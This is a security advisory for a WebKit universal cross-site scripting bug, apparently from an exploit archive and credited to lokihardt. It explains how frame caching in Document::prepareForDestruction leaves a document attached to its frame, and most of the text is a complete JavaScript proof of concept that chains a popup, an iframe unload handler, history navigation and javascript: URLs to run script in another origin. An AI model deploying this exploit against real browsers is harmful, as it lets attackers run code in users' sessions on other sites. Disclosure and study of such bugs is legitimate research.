WebKit Document::prepareForDestruction / CachedFrame Universal XSS

2017.06.01
Credit: lokihardt
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

WebKit: UXSS via Document::prepareForDestruction and CachedFrame Here's a snippet of Document::prepareForDestruction void Document::prepareForDestruction() { if (m_hasPreparedForDestruction) return; ... detachFromFrame(); m_hasPreparedForDestruction = true; } Document::prepareForDestruction is called on the assumption that the document will not be used again with its frame. However, if a frame caching is made in Document::prepareForDestruction, the document's frame will be stored in a CachedFrame object that will reattach the frame at some point, and thereafter, the document's frame will be never detached due to |m_hasPreparedForDestruction|. PoC: <body> Click anywhere. <script> function createURL(data, type = 'text/html') { return URL.createObjectURL(new Blob([data], {type: type})); } function waitFor(check, cb) { let it = setInterval(() => { if (check()) { clearInterval(it); cb(); } }, 10); } window.onclick = () => { window.onclick = null; w = open(createURL(''), '', 'width=500, height=500'); w.onload = () => { setTimeout(() => { let f = w.document.body.appendChild(document.createElement('iframe')); f.contentWindow.onunload = () => { f.contentWindow.onunload = null; w.__defineGetter__('navigator', () => new Object()); let a = w.document.createElement('a'); a.href = 'about:blank'; a.click(); setTimeout(() => { w.history.back(); setTimeout(() => { let d = w.document; w.location = 'javascript:' + encodeURI(`"<script>location = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a></scrip` + `t>"`); let it = setInterval(() => { try { w.xxxx; } catch (e) { clearInterval(it); let a = d.createElement('a'); a.href = 'javascript:alert(location);'; a.click(); } }, 10); }, 100); }, 100); }; w.location = 'javascript:""'; }, 0); }; } </script> </body> This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


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